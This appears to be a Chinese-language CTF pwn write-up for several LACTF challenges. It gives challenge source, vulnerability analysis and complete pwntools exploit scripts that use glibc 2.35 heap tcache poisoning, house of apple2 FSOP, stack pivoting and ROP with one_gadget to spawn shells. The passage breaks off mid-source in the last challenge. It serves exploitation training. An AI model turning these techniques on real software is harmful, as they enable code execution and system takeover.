def ftrbt():
	global ftrrd
	with open('future.txt', 'r', encoding = 'utf-8') as f:
		ftrrd = f.read().split()

def bydbt():
	global bydrd
	with open('beyond.txt', 'r', encoding = 'utf-8') as f:
		bydrd = f.read().split()

def randswap():
	prepos = 13
	for nowpos in range(14, 1000):
		flag = 0
		op = 0
		for i in range(len(sc)):
			if sc[i] == nowrd[nowpos] and fag[i] == 0:
				flag = i
				fag[i] = 1
				op = 1
				break
		if op == 1:
			nowstep[flag] = nowpos - prepos
			prepos = nowpos
			rout.append(flag)
		if len(rout) == 14:
			break

def swapidx(idx):
	io.sendline(b'1')
	io.sendline(str(idx).encode())

def attack():
	global rout
	global nowstep
	global nowrd
	global tag
	rdbt()
	prsbt()
	ftrbt()
	bydbt()
	flag = 7
	for i in range(len(nowrd)):
		if nowrd[i] != prsrd[i]:
			flag = flag & 0b110
		if nowrd[i] != ftrrd[i]:
			flag = flag & 0b101
		if nowrd[i] != bydrd[i]:
			flag = flag & 0b011
	if flag == 1:
		tag = 'prs'
		nowrd = prsrd
	elif flag == 2:
		tag = 'prs'
		nowrd = ftrrd
	elif flag == 4:
		tag = 'prs'
		nowrd = bydrd
	print(tag)
	randswap()
	for i in rout:
		for _ in range(nowstep[i]):
			swapidx(i)
	io.sendlineafter(b'> ', b'2')
	mysc = shellcraft.sh()
	io.send(asm(mysc))
	io.interactive()

attack()

tcademy

checksec

保护全开

IDA

main

菜单题

create_note

只有两个槽位

delete_note

print_note

puts 可以通过溢出泄露一些内容

get_note_index

read_data_into_note

此处有由整数溢出造成的堆溢出漏洞

攻击思路

glibc 版本为 2.35 ，是高版本，有 PIE 保护，没有 hook 函数可以劫持

所以考虑劫持某个 _IO_FILE 结构体用来 getshell ，在此之前应先 leak libc

可以通过 tcache poisoning 去把一个 chunk 放入 unsortedbin 中来实现 libc leak

在高版本 libc 中， tcache 劫持的要求会更加严格

首先是 safe-linking 机制，这需要还原泄露出的 next 指针，并且 key 的生成不再与堆地址相关，改为和 canary 类似的随机 8 字节数据

然后是分配 tcache 时的判断，决定 tcache 是否分配的标准由 entry 是否为空变为 counts 是否为 0 ，不能再简单粗暴地劫持 tcache_pthread_struct 就完事了

对于这道题目而言，更加棘手的是同时持有的 chunk 槽位只有两个，而想要通过 tcache poisoning 把目标地址写的权限拿到手至少需要持有两个该 tcache 的 chunk ，这需要我们修改 counts ，而在能够修改 counts 之前的 tcache_pthread_struct 劫持步骤，我们必须预先申请两个相同大小的 chunk 再放入 tcache

而且还要注意不要破坏掉 size ，破坏了也要修复，不然 delete 的时候有你好受

在进行 unsortedbin 布置时我们采用了堆溢出修改 size 结合 counts 篡改的方式，这样可以在持有该 chunk 的情形下将其定位到 unsortedbin ，事后直接 free 即可，非常方便

还要注意一个小细节： tcache_pthread_struct 会被劫持也会被释放，这样的话前面的一些 counts 会变得比较奇怪，而且用于劫持 tcache_pthread_struct 的那个 tcache 会废掉，需要更换 size 做接下来的步骤

最后劫持 IO_2_1_stdout 打 house_of_apple2 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 102

if debug:
	io = process('./chall_patched')
else:
	io = remote('chall.lac.tf', 31144)

libc = ELF('./libc.so.6')

def create(index, size, content):
	io.sendlineafter(b'Choice > ', b'1')
	io.sendlineafter(b'Index: ', str(index).encode())
	io.sendlineafter(b'Size: ', str(size).encode())
	io.sendafter(b'Data: ', content)

def delete(index):
	io.sendlineafter(b'Choice > ', b'2')
	io.sendlineafter(b'Index: ', str(index).encode())

def printnote(index):
	io.sendlineafter(b'Choice > ', b'3')
	io.sendlineafter(b'Index: ', str(index).encode())

def calcnext(ptr, pos):
	return (ptr // 0x1000) ^ pos

def attack():
	msize = 0x7
	nsize = 0xf8
	osize = 0xe8

	create(0, msize, b'\n')		# build arch
	create(1, nsize, b'\n')
	delete(0)
	delete(1)

	payload = b'A' * (0x20 - 1) + b'B'		# leak heap
	create(0, msize, payload)
	printnote(0)
	io.recvuntil(b'AB')
	heap = u64(io.recv(5).ljust(8, b'\x00')) * 0x1000
	log.info(f'heap = {hex(heap)}')
	delete(0)

	payload = b'A' * 0x18 + p64(0x101)		# fix up
	create(0, msize, payload)
	delete(0)
	create(0, nsize, b'\n')
	create(1, nsize, b'\n')
	delete(1)
	delete(0)
	
	toentry = calcnext(heap + 0x2c0, heap + 0x10)		# tcache_pthread_struct hijack
	payload = b'A' * 0x18 + p64(0x91) + p64(toentry).ljust(0x80, b'\x00') + p64(0x90) + p64(0x71)
	create(0, msize, payload)
	delete(0)
	create(0, nsize, '\n')
	payload = (p16(1) + p16(0) * 6 + p16(8)).ljust(0x80, b'\x00')
	create(1, nsize, payload)

	delete(0)		# into unsortedbin
	payload = b'A' * (0x20 - 1) + b'B'
	create(0, msize, payload)
	printnote(0)
	io.recvuntil(b'AB')
	libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x21ace0
	log.info(f'libc = {hex(libc.address)}')
	delete(0)

	payload = b'A' * 0x18 + p64(0x91) 	# fix up
	create(0, msize, payload)
	delete(0)
	delete(1)
	create(0, osize, b'\n')
	create(1, osize, b'\n')
	delete(1)
	delete(0)

	stdout = libc.sym['_IO_2_1_stdout_']		# stdout hijack
	payload = b'A' * 0x18 + p64(0x101) + p64(0) * 31 + p64(0x101) + p64(0) * 31 + p64(0xf1) + p64(calcnext(heap + 0x4c0, stdout))
	create(0, msize, payload)
	delete(0)
	create(0, osize, '\n')
	fake_io = flat({
			0x0: b" sh;",
			0x28: libc.sym['system'],
			0x88: heap,
			0xA0: stdout - 0x40,
			0xD8: libc.sym['_IO_wfile_jumps'] - 0x20
		},
		filler=b"\x00"
	)
	log.info(f'stdout = {hex(stdout)}')
	create(1, osize, fake_io)
	io.interactive()

attack()

ourUKLA

code

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define MAX_STUDENTS 10

#define UNDERGRAD 0x1
#define MASTERS 0x2
#define PHD 0x4
#define POSTDOC 0x8
#define HASNOLIFE 0x10
#define ACMCYBER 0x20

struct student_info {
 char noeditingmyptrs[0x10]; // No editing my pointers !!!
 char *name;
 unsigned long attributes;
 char major[0x40];
 char aux[0x90];
};
struct student {
 unsigned long array_id;
 unsigned long uid;
 struct student_info *sinfo;
};

struct student *ourUKLA[MAX_STUDENTS] = {0};
int cur_index = 0;

void menu() {
 puts("________________________________________________");
 puts("| ---------- |");
 puts("| ourUKLA v0.1.7 |");
 puts("| ---------- |");
 puts("| 1. Add student |");
 puts("| 2. Get student info |");
 puts("| 3. Remove student |");
 puts("|______________________________________________|");
 puts("");
 printf("Option > ");
}

void init() {
 setvbuf(stdout, NULL, _IONBF, 0);
 malloc(0x18);
 puts("Administrator, welcome to ourUKLA.");
 puts("This is the portal for the University of Kungkungkung LAhur.\n");
}

void fill_student_info(struct student *s) {

 struct student_info *sinfo;
 if (s->sinfo == NULL) sinfo = malloc(sizeof(struct student_info));
 else sinfo = s->sinfo;

 char *name = malloc(0x100);
 printf("Student name: ");
 read(STDIN_FILENO, name, 0x100);
 sinfo->name = name;

 printf("Student major: ");
 read(STDIN_FILENO, sinfo->major, 0x40);

 printf("Student attributes (e.g. undergrad = 1): ");
 scanf("%lu", &sinfo->attributes);
 while ((getchar()) != '\n');
 sinfo->attributes |= HASNOLIFE | ACMCYBER;

 printf("Require space to add aux data (y/n)? ");
 char res = getchar();
 getchar();
 if (res == 'y') {
 printf("Aux data: ");
 read(STDIN_FILENO, sinfo->aux, 0x90);
 }

 s->sinfo = sinfo;
}

void add_student() {

 char* old_top = *((char**)puts + (0x166580/8)) + 0x10;
 struct student *s = ourUKLA[cur_index] = malloc(sizeof(struct student));
 if ((void *)old_top == (void *)s) s->sinfo = NULL;

 s->array_id = cur_index++;
 cur_index %= MAX_STUDENTS;

 printf("Enter student UID: ");
 scanf("%ld", &s->uid);
 while ((getchar()) != '\n');

 printf("Enter student information now (y/n)? You can do it later: ");
 char res = getchar();
 getchar();
 if (res == 'y') fill_student_info(s);

 printf("Student with UID %lu added at index %lu!\n", s->uid, s->array_id);
}

void get_student_info() {

 unsigned long uid;
 printf("Enter student UID: ");
 scanf("%lu", &uid);

 for (int i = 0; i < MAX_STUDENTS; i++) {
 if (ourUKLA[i] == NULL) continue;

 if (ourUKLA[i]->uid == uid) {

 struct student_info *sinfo = ourUKLA[i]->sinfo;
 if (sinfo) {
 puts("STUDENT INFO");
 printf("Student Name: %s\n", sinfo->name);
 printf("Student Major: %s\n", sinfo->major);
 printf("Student Attributes (number): %lu\n", sinfo->attributes);
 }
 return;
 }
 }
}

void remove_student() {

 unsigned long uid;
 printf("Enter student UID: ");
 scanf("%lu", &uid);

 for (int i = 0; i < MAX_STUDENTS; i++) {
 if (ourUKLA[i] == NULL) continue;

 if (ourUKLA[i]->uid == uid) {

 struct student_info *sinfo = ourUKLA[i]->sinfo;
 if (sinfo) {
 free(sinfo->name);
 free(sinfo);
 }
 free(ourUKLA[i]);

 ourUKLA[i] = NULL;
 return;
 }
 }
}

int main() {
 
 init();

 int choice;
 while (1) {
 menu();
 scanf("%d", &choice);
 switch (choice) {
 case 1:
 add_student();
 break;
 case 2:
 get_student_info();
 break;
 case 3:
 remove_student();
 break;
 default:
 puts("cmon you're an administrator don't tell me you don't know how to follow basic instructions!!");
 exit(1);
 };
 }

 return 0;
}

菜单堆题，最多可以持有 10 个 chunk ，但可以无限申请

有关于 student-info 的 UAF

攻击思路

突破口在于 student-info 的 UAF ，当申请一个新的 student 时，若 s_info 不为空，则不重新申请

于是就可以利用这一点，在某个合适 chunk 中写入 leak 出的 _IO_list_all - 0x10 地址，然后把这个 chunk 放入 unsortedbin 中再进行若干次单采 student 使某一次恰好令 s_info = _IO_list_all - 0x10 ，如果此时选择填写 name 的话，刚好可以在 _IO_list_all 的位置上放上 name 指针，这也是一种任意地址写堆地址的原语

然而在达成原语之前需要先 leak heap 和 leak libc ，而 leak 过程会破坏堆的结构，使后续过程难以进行；因此我们可以先 malloc 至没有 freed chunk ，再重新布局

关于布局，核心思路就是：填满目标大小的 tcache ，从而创造出一个 unsortedbin chunk

最后 name 上打 house of apple2 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

if debug:
	io = process('./chall_patched')
else:
	io = remote('chall.lac.tf', 31147)

libc = ELF('./libc.so.6')

def calc_real_next(next):
	ori = next
	for i in range(4):
		next = ori ^ (next >> 12)
	return next

def fill_student_info(name, major, attributes, yon, aux):
	io.sendafter(b'name: ', name)
	io.sendafter(b'major: ', major)
	
	io.sendlineafter(b'(e.g. undergrad = 1): ', str(attributes).encode())
	if yon:
		io.sendlineafter(b'(y/n)? ', b'y')
		io.sendafter(b'data: ', aux)
	else:
		io.sendlineafter(b'(y/n)? ', b'n')

def add_student(UID, info = False, name = b'', major = b'', attributes = b'', yon = False, aux = b''):
	io.sendlineafter(b'Option > ', b'1')
	io.sendlineafter(b'UID: ', str(UID).encode())
	if info:
		io.sendlineafter(b'later: ', b'y')
		fill_student_info(name, major, attributes, yon, aux)
	else:
		io.sendlineafter(b'later: ', b'n')

def get_student_info(UID):
	io.sendlineafter(b'Option > ', b'2')
	io.sendlineafter(b'UID: ', str(UID).encode())

def remove_student(UID):
	io.sendlineafter(b'Option > ', b'3')
	io.sendlineafter(b'UID: ', str(UID).encode())

def exit_fsop():
	io.sendlineafter(b'Option > ', b'4')

def attack():
	for i in range(10):		# init
		add_student(i, True, b'A', b'A', b'A', True, b'A')
	for i in range(8):
		remove_student(i)
	for i in range(7):
		add_student(i, True, b'A', b'A', b'A', True, b'A')

	get_student_info(0)		# leak heap
	io.recvuntil(b'Name: A')
	leak_next = u64(io.recv(5).ljust(8, b'\x00'))
	heap = (calc_real_next(leak_next) - 0x1e) * 0x100
	log.info(f'heap = {hex(heap)}')

	add_student(7)		# leak libc
	get_student_info(7)
	io.recvuntil(b'Name: ')
	libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1e6c20
	log.info(f'libc = {hex(libc.address)}')
	fsop = libc.symbols['_IO_list_all'] - 0x10

	add_student(8)		# fix
	add_student(9)
	for i in range(14):
		add_student(i % 10)
	for i in range(7):
		add_student(i, True, b'A', b'A', b'A', True, b'A')
	
	for i in range(7):		# init
		add_student(i, True, b'A', b'A', b'A', True, b'A')
	payload = b'A' * 0x10 + p64(fsop)
	add_student(7, True, b'A', payload, b'A', True, b'A')
	add_student(8, True, b'A', b'A', b'A', True, b'A')
	add_student(9, True, b'A', b'A', b'A', True, b'A')
	for i in range(8):
		remove_student(i)
	for i in range(7):
		add_student(i, True, b'A', b'A', b'A', True, b'A')
	add_student(7)
	add_student(8)
	
	fake_io_base = heap + 0x40b0		# house of apple2
	fake_io = flat({
			0x0: b" sh;",
			0x28: 1,
			0x68: libc.sym['system'],
			0x88: fake_io_base + 0x1000,
			0xA0: fake_io_base,
			0xD8: libc.sym['_IO_wfile_jumps'],
			0xE0: fake_io_base
		},
		filler=b"\x00"
	)
	add_student(9, True, fake_io, b'A', b'A', True, b'A')
	
	exit_fsop()
	io.interactive()

attack()

adventure

checksec

1
2
3
4
5
6
7
8
9


[*] '/home/RatherHard/CTF-pwn/LACTF/adventure/chall'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: PIE enabled
 SHSTK: Enabled
 IBT: Enabled
 Stripped: No

code

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(void);

#define BOARD_SIZE 16
#define MAX_MOVES 300
#define INPUT_SIZE 8
#define NUM_ITEMS 8

char history[MAX_MOVES][INPUT_SIZE];
int move_count = 0;

int player_x = 0;
int player_y = 0;

const char *last_item = "None";

int board[BOARD_SIZE][BOARD_SIZE];

const char *item_names[] = {
 "Sword",
 "Shield",
 "Potion",
 "Key",
 "Scroll",
 "Amulet",
 "Crown",
 "Flag"
};

const char item_symbols[] = {
 'S', 'H', 'P', 'K', 'L', 'A', 'C', 'F'
};

int inventory[NUM_ITEMS] = {0};

void print_banner(void) {
 puts("");
 puts(" ╔═══════════════════════════════════════════╗");
 puts(" ║ ⚔️ ADVENTURE IN THE DARK MAZE ⚔️ ║");
 puts(" ║ ~ A Quest for Glory ~ ║");
 puts(" ╚═══════════════════════════════════════════╝");
 puts("");
 puts(" In the ancient dungeon of the Forgotten Realm,");
 puts(" treasures await the brave adventurer...");
 puts("");
}

void print_help(void) {
 puts("");
 puts(" ┌─────────── COMMANDS ───────────┐");
 puts(" │ n/s/e/w - Move North/South/ │");
 puts(" │ East/West │");
 puts(" │ look - Look around │");
 puts(" │ inv - Check inventory │");
 puts(" │ grab - Pick up item │");
 puts(" │ help - Show this help │");
 puts(" │ quit - Leave the dungeon │");
 puts(" └────────────────────────────────┘");
 puts("");
}

void print_inventory(void) {
 puts("");
 puts(" ╔═════════ INVENTORY ═════════╗");
 int item_count = 0;
 for (int i = 0; i < NUM_ITEMS; i++) {
 if (inventory[i]) {
 printf(" ║ [%c] %-22s ║\n", item_symbols[i], item_names[i]);
 item_count++;
 }
 }
 if (item_count == 0) {
 puts(" ║ (empty) ║");
 }
 puts(" ╠═════════════════════════════╣");
 printf(" ║ %2d,%2d %d/%d %3d/%3d %-6s ║\n",
 player_x, player_y, item_count, NUM_ITEMS, move_count, MAX_MOVES, last_item);
 puts(" ╚═════════════════════════════╝");
 puts("");
}

void look_around(void) {
 puts("");
 puts(" ~~ You peer into the darkness ~~");
 printf(" You stand at position (%d, %d).\n", player_x, player_y);

 if (board[player_y][player_x] > 0) {
 int item_idx = board[player_y][player_x] - 1;
 printf(" A glimmering %s lies at your feet!\n", item_names[item_idx]);
 } else {
 puts(" The cold stone floor is bare.");
 }
 puts("");
}

void check_flag_password(void) {
 char password[0020];
 puts("");
 puts(" ╔═══════════════════════════════════════╗");
 puts(" ║ The sacred Flag pulses with power! ║");
 puts(" ║ Speak the ancient password to ║");
 puts(" ║ unlock its secrets... ║");
 puts(" ╚═══════════════════════════════════════╝");
 puts("");
 printf(" Password: ");
 fflush(stdout);

 if (fgets(password, 0x20, stdin) == NULL) {
 return;
 }
 password[strcspn(password, "\n")] = 0;

 if (strcmp(password, "easter_egg") == 0) {
 puts("");
 puts(" *** CONGRATULATIONS! ***");
 puts(" The Flag's magic flows through you!");
 puts(" You have conquered the dungeon!");
 puts("");
 } else {
 puts("");
 puts(" The Flag rejects your words...");
 puts(" But you keep it anyway.");
 puts("");
 }
}

void grab_item(void) {
 if (board[player_y][player_x] == 0) {
 puts(" There is nothing here to grab.");
 return;
 }

 int item_idx = board[player_y][player_x] - 1;
 printf(" You pick up the %s!\n", item_names[item_idx]);
 inventory[item_idx] = 1;
 board[player_y][player_x] = 0;
 last_item = item_names[item_idx];

 if (item_idx == 7) {
 check_flag_password();
 }
}

void move_player(int dx, int dy) {
 int new_x = player_x + dx;
 int new_y = player_y + dy;

 if (new_x < 0 || new_x >= BOARD_SIZE || new_y < 0 || new_y >= BOARD_SIZE) {
 puts(" You bump into a cold stone wall.");
 return;
 }

 player_x = new_x;
 player_y = new_y;

 const char *directions[] = {"north", "south", "east", "west"};
 int dir_idx = (dy == -1) ? 0 : (dy == 1) ? 1 : (dx == 1) ? 2 : 3;
 printf(" You venture %s...\n", directions[dir_idx]);

 if (board[player_y][player_x] > 0) {
 int item_idx = board[player_y][player_x] - 1;
 printf(" You spot a %s here!\n", item_names[item_idx]);
 }
}

void init_board(void) {
 memset(board, 0, sizeof(board));

 unsigned long addr = (unsigned long)main;
 unsigned char *bytes = (unsigned char *)&addr;

 for (int i = NUM_ITEMS - 1; i >= 0; i--) {
 int x = (bytes[i] >> 4) & 0x0F;
 int y = bytes[i] & 0x0F;

 while (board[y][x] != 0) {
 x = (x + 1) % BOARD_SIZE;
 if (x == 0) y = (y + 1) % BOARD_SIZE;
 }

 board[y][x] = i + 1;
 }
}

int main(void) {
 char input[INPUT_SIZE];

 setbuf(stdout, NULL);
 setbuf(stdin, NULL);

 print_banner();
 init_board();
 print_help();

 while (move_count < MAX_MOVES) {
 printf("> ");
 fflush(stdout);

 if (fgets(input, sizeof(input), stdin) == NULL) {
 break;
 }

 input[strcspn(input, "\n")] = 0;
 strncpy(history[move_count], input, INPUT_SIZE - 1);
 history[move_count][INPUT_SIZE - 1] = '\0';
 move_count++;

 if (strcmp(input, "n") == 0) {
 move_player(0, -1);
 } else if (strcmp(input, "s") == 0) {
 move_player(0, 1);
 } else if (strcmp(input, "e") == 0) {
 move_player(1, 0);
 } else if (strcmp(input, "w") == 0) {
 move_player(-1, 0);
 } else if (strcmp(input, "look") == 0) {
 look_around();
 } else if (strcmp(input, "inv") == 0) {
 print_inventory();
 } else if (strcmp(input, "grab") == 0) {
 grab_item();
 } else if (strcmp(input, "help") == 0) {
 print_help();
 } else if (strcmp(input, "quit") == 0) {
 puts("");
 puts(" You flee the dungeon in fear...");
 puts(" Perhaps another day, brave adventurer.");
 puts("");
 break;
 } else if (strlen(input) > 0) {
 puts(" Unknown command. Type 'help' for options.");
 }

 if (move_count % 25 == 0 && move_count < MAX_MOVES) {
 printf(" [%d moves remaining...]\n", MAX_MOVES - move_count);
 }
 }

 if (move_count >= MAX_MOVES) {
 puts("");
 puts(" ════════════════════════════════════");
 puts(" The dungeon's magic forces you out!");
 puts(" You have exhausted your journey...");
 puts(" ════════════════════════════════════");
 puts("");
 }

 return 0;
}

棋盘游戏，发现 main 的地址通过棋盘上 item 的坐标信息给出，可以泄露 PIE

check_flag_password 有栈溢出，溢出 0x10 字节

history 里面可以布置 ropchain 从而达成栈迁移

攻击思路

leak pie 之后在 history 上布置 ropchain ，通过 check_flag_password 的栈溢出把栈迁移到 history 上跑 ropchain 去 leak libc 顺便 reread

然后 reread 的时候写入 onegadget 就行了

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './chall_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

libcoffsetdict = {}
libcrealdict = {}

def libcdict_add(name, addr):
 if addr > 0x1000000:
 libcrealdict[name] = addr
 addr %= 0x1000
 libcoffsetdict[name] = addr

def getlibc():
 global libc
 if not debug:
 libc = ELF(libcdb.search_by_symbol_offsets(libcoffsetdict))

def initlibc():
 if not debug:
 subprocess.run(['cp', libc.path, './libc.so.6'])
 subprocess.run(['pwninit', '--no-template'])

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

def peek(num=4096):
 message = p.recv(num)
 p.unrecv(message)
 return message

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
ur = lambda x :p.unrecv(x)
pk = lambda num=4096 :peek(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))

item = {
 b'Sword': 0,
 b'Shield': 1,
 b'Potion': 2,
 b'Key': 3,
 b'Scroll': 4,
 b'Amulet': 5,
 b'Crown': 6,
 b'Flag': 7
}

nowx, nowy = 0, 0
main_leak = 0
pie_leak = 0

def move(way):
 global nowx, nowy 
 if way == b'e':
 nowx += 1
 elif way == b'w':
 nowx -= 1
 elif way == b's':
 nowy += 1
 elif way == b'n':
 nowy -= 1
 sla(b'> ', way)

def move_check(way):
 global main_leak
 gotit = b''
 move(way)
 rl()
 if (pk(1) != b'>'):
 r(2)
 if r(1) == b'[':
 return
 ru(b'spot a ')
 gotit = ru(b' ')[:-1]
 if (item[gotit] <= 5):
 main_leak |= (nowx << 4 | nowy) << (8 * item[gotit])

def grab(pwd):
 sla(b'> ', b'grab')
 sa(b'Password: ', pwd[:-1])

def write(data):
 while data:
 sla(b'> ', data[:6])
 data = data[0x8:]

def attack():
 global pie_leak
 for i in range(0x8):
 for _ in range(0x10 - 1):
 move_check(b'e')
 move_check(b's')
 for _ in range(0x10 - 1):
 move_check(b'w')
 if (i < 0x7):
 move_check(b's')
 pie_leak = main_leak - 0x1adf
 leak('pie_leak')

 for _ in range(0x10 - 1):
 move(b'n')
 
 leave_ret = pie_leak + 0x172F
 rw_addr = pie_leak + 0x4910 # history
 reread = pie_leak + 0x164D
 rop_leak_chain = flat([
 rw_addr + 0x20,
 pie_leak + 0x1480, # leak with printf
 0,
 pie_leak + 0x3F98, # last_item leak puts
 rw_addr + 0x38,
 reread
 ])
 write(rop_leak_chain)
 payload = b'A' * 0x10 + p64(rw_addr) + p64(leave_ret)
 grab(payload)
 libc.address = uru64() - libc.sym['puts']
 leak('libc.address')

 xor_rax_ret = libc.address + 0xc75e9
 pop_rbp_ret = pie_leak + 0x1233
 one_gadget = libc.address + 0xef52b
 rop_break_chain = flat([
 xor_rax_ret,
 pop_rbp_ret,
 pie_leak + 0x6000,
 one_gadget
 ])
 sl(rop_break_chain)
 itr()

attack()

# 0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x68 is writable
# rsp & 0xf == 0
# rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL

# 0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x68 is writable
# rsp & 0xf == 0
# rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL

# 0xef4ce execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x48 is writable
# rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp

# 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# constraints:
# address rbp-0x50 is writable
# rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
# [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

# 0x00000000000c75e9: xor rax, rax; ret;

the_time_war

checksec

1
2
3
4
5
6
7


[*] '/home/RatherHard/CTF-pwn/LACTF/the_time_war/pwn_the_time_war'
 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: PIE enabled
 Stripped: No

code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void run();

void init() {
 setbuf(stdout, NULL);
 srand(clock_gettime);
}

void run() {
 short code[4];
 for (int i = 0; i < 4; i ++) {
 code[i] = rand() % 16;
 }
 printf("You see a locked box. The dial on the lock reads: %d-%d-%d-%d\n", code[0], code[1], code[2], code[3]);
 printf("Which dial do you want to turn? ");
 short ind1, val1, ind2, val2;
 if (scanf("%hd", &ind1) <= 0) {
 return;
 }
 printf("What do you want to set it to? ");
 scanf("%hd", &val1);
 printf("Second dial to turn? ");
 scanf("%hd", &ind2);
 printf("What do you want to set it to? ");
 scanf("%hd", &val2);
